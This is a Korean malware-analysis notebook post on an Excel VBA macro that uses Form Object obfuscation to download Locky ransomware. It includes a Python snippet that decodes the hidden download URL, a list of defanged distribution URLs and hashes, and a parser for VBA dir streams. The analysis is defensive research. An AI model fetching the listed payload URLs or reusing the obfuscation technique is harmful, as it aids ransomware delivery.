[Macro] VBA + Form Object + Obfuscation

[Format] OLE #06. VBA - Form Object

0x00. Intro

CFBF 파일 포맷 분석부터 이를 이용한 다양한 형태의 악성코드를 분석해 보았다.

그런데 최근 트렌드 마이크로의 블로그를 통해 새로운 형태의 Macro 악성코드 분석 정보가 공개되었다. 해당 악성코드는 Macro의 Form Object를 이용해 난독화를 적용한 형태의 악성코드이며 이를 통해 최근 유행하고 있는 랜섬웨어를 배포하는 형태를 띄고 있다.

  • 감염 방식 : 이메일을 통한 Spear-Phishing, 첨부 파일
  • 첨부 파일 형식 : 문서 파일 (doc, xls등)
  • 동작 방식 : 매크로 기능을 통한 악성코드 실행
  • 실행된 악성코드 목적 : 랜섬웨어

따라서 해당 문서 파일 포맷 분석을 통해 해당 악성동작을 탐지해 보자.

  • 개발 언어 : Python 2.7.x
  • 개발 환경 : ipython Notebook
  • 사용 도구 : OffVis, SSView
  • 개발 목표
    • CFBF 파일 포맷 내의 Macro를 탐지한다.
  • 분석 대상 : [SHA-256] 937B31B1838D6AE025BF97CA01329533155AD3CA3F0087CA5CF5BAF283CC265C
  • 진단 결과 : malwares.com

0x10. 전체 동작

0x20. Ukraine 변종(?)

이번에 발견된 악성 매크로 파일의 경우 우크라이나 정전사태를 일으킨 악성 문서파일과 상당 부분 유사한 형태를 띄고 있다.

  • 유포 기법 : Spear Phishing

  • 공통점

    • 탐지된 문서 파일 형식 : 엑셀, 워드
    • 사용된 언어 : 러시아어 ( Codec : 1251 )
    • 엑셀 시트명 : ЭтаКнига, Лист1, Лист2, Лист3
    • 악성코드 실행 기법 : 매크로, DBD
  • 차이점

    • 배포된 악성코드
      • 우크라이나 정전사태 관련 악성코드 : BlackEnergy -> MBR 파괴형 악성코드
      • 변종 : Locky 랜섬웨어

하지만 공통점으로 언급한 사항은 "APT + 매크로" 형태에서 일반적으로 사용되는 방법이라는 점에서 Ukraine의 변종으로 보기보단 이러한 형태로 배포되던 악성코드 중 일부가 ukraine 정전사태에 영향을 미친 것으로 보는게 더 합리적일거라 판단된다.

그리고 파일의 내부 구조는 CFBF 파일 포맷을 따르기 때문에 우크라이나 정전관련 악성 문서 파일 분석시 작성한 코드를 활용하면 내부 코드 추출이 가능하다. ( 동일 코드를 이용한 코드 추출 부분은 "0x99. 참고"를 확인하기 바란다. )

0x30. 분석

엑셀은 기본적으로 Visual Basic을 이용한 개발이 가능하도록 개발자 도구를 지원하고 있다. 해당 악성코드 또한 이러한 개발자 도구를 통해 개발되었으므로 엑셀의 개발자 도구를 활용해 내부 코드를 확인할 수 있다.

( 테스트 환경 : 엑셀 2007 )

기본적으로 엑셀 개발자 도구는 "탭"에서 확인할 수 없다. 따라서 우선 개발자 도구 탭부터 보이도록 설정해야 한다.

  • 과정

    1) "빠른 실행 도구 모음 사용자 지정" 을 선택한다.

    2) "기타 명령" 메뉴를 선택한다.

    3) "기본 설정" 메뉴를 선택한다.

    4) "리본 메뉴에 개발 도구 탭 표시" 옆의 체크 박스를 클릭해 활성화 한다.

    5) "확인" 버튼을 누른다.

설정이 완료되면 "개발자 도구" 탭에서 "Visual Basic"을 선택하면 된다.

Visual Basic에서 "프로젝트"에서 엑셀 파일내에 생성된 시트나 모듈을 선택하면 내부 코드를 볼 수 있다. 이 중 "Module1"을 선택하면 분석 대상 소스를 확인할 수 있다.

엑셀 게임처럼 보이는 코드이지만 CheckBin() 함수를 확인해 보면 10진수로 보이는 문자열을 확인할 수 있고 해당 변수 (somehernya_7)을 코드내에서 검색하면 다음과 같은 처리 구문을 확인할 수 있다.

해당 구문과 같은 방식을 파이썬으로 처리하면 다음과 같다.

In [22]:
somehernya_7 = "1104|1116|1116|1112|1058|1047|1047|1115|1101|1107|1105|1101|1100|1103|1101|1046|1099|1111|1046|1117|1107|1047|1115|1121|1115|1116|1101|1109|1047|1108|1111|1103|1115|1047|1055|1054|1052|1055|1103|1100|1055|1098|1052|1051|1102|1052|1051|1046|1101|1120|1101"
somehernya_7 = somehernya_7.split("|")

out = ""
for c in somehernya_7:
    out += chr(int(c) - 1000)

print out.replace("http://", "hxxp://")
hxxp://sekiedge.co.uk/system/logs/7647gd7b43f43.exe

해당 경로는 엑셀 파일을 실행했을 때 접속하는 URL로 악성코드 다운로드를 시도하지만 현재 다운로드는 지원하지 않는다.

  • 외부 서버 : sekiedge.co.uk ( 119.81.19.188 )

( malwares.com 검색 결과 )

하지만 malwares.com에서 해당 도메인을 확인해 보면 해당 사이트에서 배포된 악성코드에 대한 정보를 확인할 수 있다.

  • 다운로드 파일 정보

    • [SHA256] 240B43DFC2712D7D40312E760BCCA5F9C7C259BBFA115C866127027346CB2FA3
    • 진단 결과 : malwares.com
  • 생성 파일 정보

    • [SHA256] E720F917CD8A02B0372B85068844E132C42EA2C97061B81D378B5A73F9344003
    • 진단 결과 : malwares.com

즉, VBA Macro를 이용해 외부 서버에서 다운받아 실행되는 악성코드는 Locky 랜섬웨어이다.

또한 검색을 통해 유사 변종 악성코드를 다운받는 경우를 확인할 수 있으며 그 결과는 다음과 같다.

  • 악성코드 배포 도메인
    • 2016.03.13 : hxxp://sweetchicory.com/system/logs/45g456jhyfg(malwares.com)
    • 2016.03.13 : hxxp://shop.havtoto.bget.ru/system/logs/45g456jhyfg(malwares.com)
    • 2016.03.13 : hxxp://idealnaya-para.ru/photo/svadebnye_platya/45g456jhyfg/(malwares.com)
    • 2016.02.29 : hxxp://maksi-stroy.com/assets/39e28906/45g456jhyfg(malwares.com)
    • 2016.02.24 : hxxp://120.52.72.39/sekiedge.co.uk/c3pr90ntcsf0/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://sugarhouse928.com.my/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://shop.zoomyoo.com/image/templates/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://acilkiyafetgulertekstil.com/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://organichorsesupplements.co.uk/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://vipkalyan.com.ua/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://merichome.com/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://tutikutyu.hu/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://kaminus.com.ua/admin/view/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://remont-krovlia.ru/system/cache/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://mppl.ca/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://jurisdocs.3forcom.net/system/logs/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://cms.insviluppo.net/images/slides/7647gd7b43f43.exe(malwares.com)
    • 2016.02.18 : hxxp://tramviet.vn/system/logs/7647gd7b43f43.exe(malwares.com)

배포 이력을 갖는 도메인의 경우 현재 Locky 랜섬웨어를 배포하고 있지만 과거 Sality등을 배포하던 봇넷을 그대로 사용하고 있음을 malwares.com 로그를 통해 확인할 수 있다. 즉, 과거 Sality와 같은 봇넷을 통해 수익을 내던 해커/악성코드 제작자들이 랜섬웨어로 수익모델을 변경했음을 의미하고 있다. 따라서 기존 봇넷 트래킹처럼 랜섬웨어 트래킹이 필요하다.

0x99. 참고

In [10]:
from struct import unpack, calcsize
from collections import namedtuple

def read8(data, offset):
    return unpack("<B", data[offset])[0]

def read8Ex(data, offset):
    return read8(data, offset), offset + 1

def read16(data, offset):
    return unpack("<H", data[offset:offset + 2])[0]

def read16Ex(data, offset):
    return read16(data, offset), offset + 2

def read32(data, offset):
    return unpack("<L", data[offset:offset + 4])[0]

def read32Ex(data, offset):
    return read32(data, offset), offset + 4

def writefile(name, data):
    file(name, "wb").write(data)

def newMap(name, member):
    if isinstance(member, list):
        return namedtuple(name, " ".join(member))
    else:
        return None

def Map(struct_name, buffer, member_name, member_pattern):
    return namedtuple(struct_name, member_name)._make(unpack(member_pattern, buffer)) 

def MapSize(member_pattern):
    return calcsize(member_pattern)

def mergeNamedtuple(new_name, namedtuple1, namedtuple2):
    return namedtuple(new_name, namedtuple1._fields + namedtuple2._fields)(*(namedtuple1 + namedtuple2))

def addNamedtuple(new_name, namedtuple1, add_member_name, add_member_value):
    return namedtuple(new_name, namedtuple1._fields+(add_member_name, ))(*(namedtuple1 + (add_member_value,)))
In [11]:
import os
from oletools import olevba

dir_paths = [r"C:\Users\amanaksu\Dropbox\Sample_Windows\###. CFBF-XLS\FormObject\dir.stream"]

for dir_path in dir_paths : 
    try:
        dir_stream = file(dir_path, "rb").read()
        break
    except:
        pass

print "[*] Start"
print "[*] File Name : %s" % os.path.basename(dir_path)

print "[*] Decoded..........",
dec_stream = olevba.decompress_stream(dir_stream)
print "Done"   
[*] Start
[*] File Name : dir.stream
[*] Decoded.......... Done
In [12]:
class ProjectSysKind:
    # OUT : NamedTuple
    Id = 0x0001
    size = 0x4
    def __init__(self):
        self.SIZE = 10

    def parseProjectSysKind(self, data, offset):
        MEMBER_NAME = ("Proj_SysKind_Id Proj_SysKind_Size SysKind")
        MEMBER_PATTERN = "=1H2L"
        SysKind = Map("SysKind", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectSysKind(SysKind)

    def parseProjectSysKindEx(self, data, offset):
        return self.parseProjectSysKind(data, offset), offset + self.SIZE

    def getPlatform(self, syskind):
        _EnumSysKind = {
            0x00000000  :   "16bit Windows Platforms",
            0x00000001  :   "32bit Windows Platforms",
            0x00000002  :   "Machintosh Platforms",
            0x00000003  :   "64bit Windows Platforms"
        }
        try:
            return _EnumSysKind[syskind]
        except:
            return None

    def _checkProjectSysKind(self, SysKind):
        if not ( SysKind.Proj_SysKind_Id == self.Id and SysKind.Proj_SysKind_Size == self.size ):
            SysKind = None
        elif self.getPlatform( SysKind.SysKind ) == None:
            SysKind = None

        return SysKind

class ProjectLCID:
    # OUT : NamedTuple
    Id = 0x0002
    size = 0x04
    lcid = 0x00000409
    def __init__(self):
        self.SIZE = 10

    def parseProjectLCID(self, data, offset):
        MEMBER_NAME = ("Proj_LCID_Id Proj_LCID_Size Lcid")
        MEMBER_PATTERN = "=1H2L"
        Lcid = Map("Lcid", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectLcid(Lcid)

    def parseProjectLCIDEx(self, data, offset):
        return self.parseProjectLCID(data, offset), offset + self.SIZE

    def _checkProjectLcid(self, Lcid):
        if not ( Lcid.Proj_LCID_Id == self.Id and Lcid.Proj_LCID_Size == self.size and Lcid.Lcid == self.lcid ):
            Lcid = None

        return Lcid

class ProjectLCIDInvoke:
    # OUT : NamedTuple
    Id = 0x0014
    size = 0x4
    lcidinvoke = 0x00000409
    def __init__(self):
        self.SIZE = 10

    def parseProjectLCIDInvoke(self, data, offset):
        MEMBER_NAME = ("Proj_LCID_Invoke_Id Proj_LCID_Invoke_Size LcidInvoke")
        MEMBER_PATTERN = "=1H2L"
        LCIDInvoke = Map("LCIDInvoke", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectLCIDInvoke(LCIDInvoke)

    def parseProjectLCIDInvokeEx(self, data, offset):
        return self.parseProjectLCIDInvoke(data, offset), offset + self.SIZE

    def _checkProjectLCIDInvoke(self, LCIDInvoke):
        if not ( LCIDInvoke.Proj_LCID_Invoke_Id == self.Id and LCIDInvoke.Proj_LCID_Invoke_Size == self.size and LCIDInvoke.LcidInvoke == self.lcidinvoke ):
            LCIDInvoke = None

        return LCIDInvoke

class ProjectCodePage:
    # OUT : NamedTuple
    Id = 0x0003
    size = 0x02
    def __init__(self):
        self.SIZE = 8

    def parseProjectCodePage(self, data, offset):
        MEMBER_NAME = ("Proj_CP_Id Proj_CP_Size CodePage")
        MEMBER_PATTERN = "=1H1L1H"
        CodePage = Map("CodePage", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectCodePage(CodePage)

    def parseProjectCodePageEx(self, data, offset):
        return self.parseProjectCodePage(data, offset), offset + self.SIZE

    def _checkProjectCodePage(self, CodePage):
        if not ( CodePage.Proj_CP_Id == self.Id and CodePage.Proj_CP_Size == self.size ):
            CodePage = None

        return CodePage

class ProjectName:
    # OUT : NamedTuple
    Id = 0x0004
    MIN_SIZE = 1
    MAX_SIZE = 128
    def __init__(self):
        self.SIZE = 0

    def parseProjectName(self, data, offset):
        MEMBER_NAME = ("Proj_Name_Id SizeOfProjectName ProjectName")
        MEMBER_PATTERN = "=1H1L%ds" % (read32(data, offset + 2))
        self.SIZE = MapSize(MEMBER_PATTERN)
        ProjectName = Map("ProjectName", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectProjectName(ProjectName)

    def parseProjectNameEx(self, data, offset):
        return self.parseProjectName(data, offset), offset + self.SIZE

    def _checkProjectProjectName(self, ProjectName):
        if not (ProjectName.Proj_Name_Id == self.Id and self.MIN_SIZE <= ProjectName.SizeOfProjectName <= self.MAX_SIZE):
            ProjectName = None

        return ProjectName

class ProjectDocString:
    # OUT : NamedTuple
    Id = 0x0005
    MAX_SIZE = 2000
    reserved = 0x0040
    def __init__(self):
        self.SIZE = 0

    def parseProjectDocString(self, data, offset):
        MEMBER_NAME1 = ("Proj_Doc_String_Id SizeOfDocString DocString")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfDocStringUnicode DocStringUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2) * 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        DocString = mergeNamedtuple("DocString", tmp1, tmp2)
        return self._checkProjectDocString(DocString)

    def parseProjectDocStringEx(self, data, offset):
        return self.parseProjectDocString(data, offset), offset + self.SIZE

    def _checkProjectDocString(self, DocString):
        if not ( DocString.Proj_Doc_String_Id == self.Id and DocString.SizeOfDocString <= self.MAX_SIZE and DocString.Reserved == self.reserved ):
            DocString = None

        return DocString

class ProjectHelpFilePath:
    # OUT : NamedTuple
    Id = 0x0006
    MIN_SIZE1 = 0
    MAX_SIZE1 = 260
    reserved = 0x003D
    def __init__(self):
        self.SIZE = 0

    def parseProjectHelpFilePath(self, data, offset):
        MEMBER_NAME1 = ("Proj_Hlp_FP_Id SizeOfHelpFile1 HelpFile1")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfHelpFile2 HelpFile2")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        HelpFilePath = mergeNamedtuple("HelpFilePath", tmp1, tmp2)
        return self._checkProjectHelpFilePath(HelpFilePath)

    def parseProjectHelpFilePathEx(self, data, offset):
        return self.parseProjectHelpFilePath(data, offset), offset + self.SIZE

    def _checkProjectHelpFilePath(self, HelpFilePath):
        if not (HelpFilePath.Proj_Hlp_FP_Id == self.Id and self.MIN_SIZE1 < HelpFilePath.SizeOfHelpFile1 <= self.MAX_SIZE1 and 
                HelpFilePath.Reserved == self.reserved and HelpFilePath.SizeOfHelpFile1 == HelpFilePath.SizeOfHelpFile2):
            HelpFilePath = None

        return HelpFilePath

class ProjectHelpContext:
    # OUT : NamedTuple
    Id = 0x0007
    size = 0x04
    def __init__(self):
        self.SIZE = 10

    def parseProjectHelpContext(self, data, offset):
        MEMBER_NAME = ("Proj_Hlp_Context_Id Proj_Hlp_Context_Size HelpContext")
        MEMBER_PATTERN = "=1H2L"
        HelpContext = Map("HelpContext", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectHelpContext(HelpContext)

    def parseProjectHelpContextEx(self, data, offset):
        return self.parseProjectHelpContext(data, offset), offset + self.SIZE

    def _checkProjectHelpContext(self, HelpContext):
        if not ( HelpContext.Proj_Hlp_Context_Id == self.Id and HelpContext.Proj_Hlp_Context_Size == self.size ):
            HelpContext = None

        return HelpContext

class ProjectLibFlags:
    # OUT : NamedTuple
    Id = 0x0008
    size = 0x04
    flag = 0x0
    def __init__(self):
        self.SIZE = 10

    def parseProjectLibFlags(self, data, offset):
        MEMBER_NAME = ("Proj_Lib_Flags_Id Proj_Lib_Flags_Size ProjectLibFlags")
        MEMBER_PATTERN = "=1H2L"
        LibFlags = Map("LibFlags", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectLibFlags(LibFlags)

    def parseProjectLibFlagsEx(self, data, offset):
        return self.parseProjectLibFlags(data, offset), offset + self.SIZE

    def _checkProjectLibFlags(self, LibFlags):
        if not ( LibFlags.Proj_Lib_Flags_Id == self.Id and LibFlags.Proj_Lib_Flags_Size == self.size and LibFlags.ProjectLibFlags == self.flag ):
            LibFlags = None

        return LibFlags

class ProjectVersion:
    # OUT : NamedTuple
    Id = 0x0009
    reserved = 0x04
    def __init__(self):
        self.SIZE = 12

    def parseProjectVersion(self, data, offset):
        MEMBER_NAME = ("Proj_Ver_Id Reserved VersionMajor VersionMinor")
        MEMBER_PATTERN = "=1H2L1H"
        Version = Map("Version", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectVersion(Version)

    def parseProjectVersionEx(self, data, offset):
        return self.parseProjectVersion(data, offset), offset + self.SIZE

    def _checkProjectVersion(self, Version):
        if not (Version.Proj_Ver_Id == self.Id and Version.Reserved == self.reserved ):
            Version = None

        return Version

class ProjectConstants:
    # OUT : NamedTuple
    Id = 0x000C
    MAX_SIZE = 1015
    reserved = 0x003C
    def __init__(self):
        self.SIZE = 0

    def parseProjectConstants(self, data, offset):
        MEMBER_NAME1 = ("Proj_Constants_Id SizeOfConstants Constants")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfConstantsUnicode ConstantsUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2) * 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        Constants = mergeNamedtuple("Constants", tmp1, tmp2)
        return self._checkProjectConstants(Constants)

    def parseProjectConstantsEx(self, data, offset):
        return self.parseProjectConstants(data, offset), offset + self.SIZE

    def _checkProjectConstants(self, Constants):
        if not ( Constants.Proj_Constants_Id == self.Id and Constants.SizeOfConstants <= self.MAX_SIZE and Constants.Reserved == self.reserved ):
            Constants = None

        return Constants

class ProjectInformation:
    # OUT : NamedTuple
    def __init__(self):
        self.SIZE = 0

    def _getProjectSysKind(self, data, offset):
        obj = ProjectSysKind()
        out, offset = obj.parseProjectSysKindEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectLCID(self, data, offset):
        obj = ProjectLCID()
        out, offset = obj.parseProjectLCIDEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectLCIDInvoke(self, data, offset):
        obj = ProjectLCIDInvoke()
        out, offset = obj.parseProjectLCIDInvokeEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectCodePage(self, data, offset):
        obj = ProjectCodePage()
        out, offset = obj.parseProjectCodePageEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectName(self, data, offset):
        obj = ProjectName()
        out, offset = obj.parseProjectNameEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectDocString(self, data, offset):
        obj = ProjectDocString()
        out, offset = obj.parseProjectDocStringEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectHelpFilePath(self, data, offset):
        obj = ProjectHelpFilePath()
        out, offset = obj.parseProjectHelpFilePathEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectHelpContext(self, data, offset):
        obj = ProjectHelpContext()
        out, offset = obj.parseProjectHelpContextEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectLibFlags(self, data, offset):
        obj = ProjectLibFlags()
        out, offset = obj.parseProjectLibFlagsEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectVersion(self, data, offset):
        obj = ProjectVersion()
        out, offset = obj.parseProjectVersionEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectConstants(self, data, offset):
        obj = ProjectConstants()
        out, offset = obj.parseProjectConstantsEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseProjectInformation(self, data, offset):
        print "[*] InformationRecord",
        
        SysKindRecord, offset = self._getProjectSysKind(data, offset)
        LcidRecord, offset = self._getProjectLCID(data, offset)
        LcidInvokeRecord, offset = self._getProjectLCIDInvoke(data, offset)
        CodePageRecord, offset = self._getProjectCodePage(data, offset)
        NameRecord, offset = self._getProjectName(data, offset)
        DocStringRecord, offset = self._getProjectDocString(data, offset)
        HelpFilePathRecord, offset = self._getProjectHelpFilePath(data, offset)
        HelpContextRecord, offset = self._getProjectHelpContext(data, offset)
        LibFlagsRecord, offset = self._getProjectLibFlags(data, offset)
        VersionRecord, offset = self._getProjectVersion(data, offset)
        ConstantsRecord, offset = self._getProjectConstants(data, offset)

        PROJ_INFO_MEMBER = ["SysKindRecord", "LcidRecord", "LcidInvokeRecord", "CodePageRecord", "NameRecord",
                            "DocStringRecord", "HelpFilePathRecord", "HelpContextRecord", "LibFlagsRecord",
                            "VersionRecord", "ConstantsRecord"]
        ProjectInfo = newMap("ProjectInfo", PROJ_INFO_MEMBER)
        
        out = None
        out = ProjectInfo(SysKindRecord=SysKindRecord, LcidRecord=LcidRecord, LcidInvokeRecord=LcidInvokeRecord,
                           CodePageRecord=CodePageRecord, NameRecord=NameRecord, DocStringRecord=DocStringRecord,
                           HelpFilePathRecord=HelpFilePathRecord, HelpContextRecord=HelpContextRecord,
                           LibFlagsRecord=LibFlagsRecord, VersionRecord=VersionRecord, ConstantsRecord=ConstantsRecord)
        
        return self._checkProjectInformation(out)

    def parseProjectInformationEx(self, data, offset):
        return self.parseProjectInformation(data, offset), offset + self.SIZE
    
    def _checkProjectInformation(self, out):
        if out == None:
            print "..........Error"
        else:
            print "..........Done"
            
        return out 
In [13]:
class ReferenceOriginal:
    # OUT : NamedTuple
    def __init__(self):
        self.SIZE = 0

    def parseReferenceOriginal(self, data, offset):
        MEMBER_NAME = ("Ref_Original_Id SizeOfLibidOriginal LibidOriginal")
        MEMBER_PATTERN = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN)
        ReferenceOriginal = Map("ReferenceOriginal", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        self.SIZE += size
        return self._checkReferenceOriginal(ReferenceOriginal)

    def parseReferenceOriginalEx(self, data, offset):
        return self.parseReferenceOriginal(data, offset), offset + self.SIZE

    def _checkReferenceOriginal(self, ReferenceOriginal):
        if not (ReferenceOriginal.Ref_Original_Id == 0x0033):
            ReferenceOriginal = None

        return ReferenceOriginal

class ReferenceControl:
    # OUT : NamedTuple
    Id = 0x002F
    reserved1 = 0x00
    reserved2 = 0x00
    reserved3 = 0x0030
    reserved4 = 0x00
    reserved5 = 0x00
    def __init__(self):
        self.SIZE = 0

    def _getReferenceOriginal(self, data, offset):
        obj = ReferenceOriginal()
        out, offset = obj.parseReferenceOriginalEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getReferenceName(self, data, offset):
        obj = ReferenceName()
        out, offset = obj.parseReferenceNameEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseReferenceControl(self, data, offset):
        OriginalRecord, offset = self._getReferenceOriginal(data, offset)

        MEMBER_NAME1 = ("Ref_Ctrl_Id SizeTwiddled SizeOfLibidTwiddled LibidTwiddled Reserved1 Reserved2")
        MEMBER_PATTERN1 = "=1H2L%ds1L1H" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size
        ReferenceControl = mergeNamedtuple("ReferenceControl", OriginalRecord, tmp1)

        NamedRecordExtended, offset = self._getReferenceName(data, offset)
        ReferenceControl = mergeNamedtuple("ReferenceControl", ReferenceControl, NamedRecordExtended)

        MEMBER_NAME2 = ("Reserved3 SizeExtended SizeOfLibidExtended LibidExtended Reserved4 Reserved5 OriginalTypeLib Cookie")
        MEMBER_PATTERN2 = "=1H2L%ds1L1H16s1L" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size
        ReferenceControl = mergeNamedtuple("ReferenceControl", ReferenceControl, tmp2)
        return self._checkReferenceControl(ReferenceControl)

    def parseReferenceControlEx(self, data, offset):
        return self.parseReferenceControl(data, offset), offset + self.SIZE

    def parse(self, data, offset):
        return self.parseReferenceControlEx(data, offset)

    def _checkReferenceControl(self, ReferenceControl):
        if not (ReferenceControl.Ref_Ctrl_Id == self.Id and ReferenceControl.Reserved1 == self.reserved1 and
                ReferenceControl.Reserved2 == self.reserved2 and ReferenceControl.Reserved3 == self.reserved3 and
                ReferenceControl.Reserved4 == self.reserved4 and ReferenceControl.Reserved5 == self.reserved5):
            ReferenceControl = None

        return ReferenceControl

class ReferenceRegistered:
    # OUT : NamedTuple
    Id = 0x000D
    reserved1 = 0x00
    reserved2 = 0x00
    def __init__(self):
        self.SIZE = 0

    def parseReferenceRegistered(self, data, offset):
        MEMBER_NAME = ("Ref_Reg_Id Size SizeOfLibid Libid Reserved1 Reserved2")
        MEMBER_PATTERN = "=1H2L%ds1L1H" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN)
        self.SIZE += size
        ReferenceRegistered = Map("ReferenceRegistered", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkReferenceRegistered(ReferenceRegistered)

    def parseReferenceRegisteredEx(self, data, offset):
        return self.parseReferenceRegistered(data, offset), offset + self.SIZE

    def parse(self, data, offset):
        return self.parseReferenceRegisteredEx(data, offset)

    def _checkReferenceRegistered(self, ReferenceRegistered):
        if not (ReferenceRegistered.Ref_Reg_Id == self.Id and ReferenceRegistered.Reserved1 == self.reserved1 and 
                ReferenceRegistered.Reserved2 == self.reserved2):
            ReferenceRegistered = None

        return ReferenceRegistered

class ReferenceProject:
    # OUT : NamedTuple
    Id = 0x000E
    def __init__(self):
        self.SIZE = 0

    def parseReferenceProject(self, data, offset):
        MEMBER_NAME1 = ("Ref_Proj_Id Size SizeOfLibidAbsolute LibidAbsolute")
        MEMBER_PATTERN1 = "=1H2L%ds" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("SizeOfLibidRelative LibidRelative MajorVersion MinorVersion")
        MEMBER_PATTERN2 = "=1L%ds1L1H" % (read32(data, offset))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        ReferenceProject = mergeNamedtuple("ReferenceProject", tmp1, tmp2)
        return self._checkReferenceProject(ReferenceProject)

    def parseReferenceProjectEx(self, data, offset):
        return self.parseReferenceProject(data, offset), offset + self.SIZE

    def parse(self, data, offset):
        return self.parseReferenceProjectEx(data, offset)

    def _checkReferenceProject(self, ReferenceProject):
        if not (ReferenceProject.Ref_Proj_Id == self.Id):
            ReferenceProject = None

        return ReferenceProject


class ReferenceName:
    # OUT : NamedTuple
    Id = 0x0016
    reserved = 0x003E
    def __init__(self):
        self.SIZE = 0

    def parseReferenceName(self, data, offset):
        MEMBER_NAME1 = ("Ref_Name_Id SizeOfName Name")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfNameUnicode NameUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        ReferenceName = mergeNamedtuple("ReferenceName", tmp1, tmp2)
        return self._checkProjectReferenceName(ReferenceName)

    def parseReferenceNameEx(self, data, offset):
        return self.parseReferenceName(data, offset), offset + self.SIZE

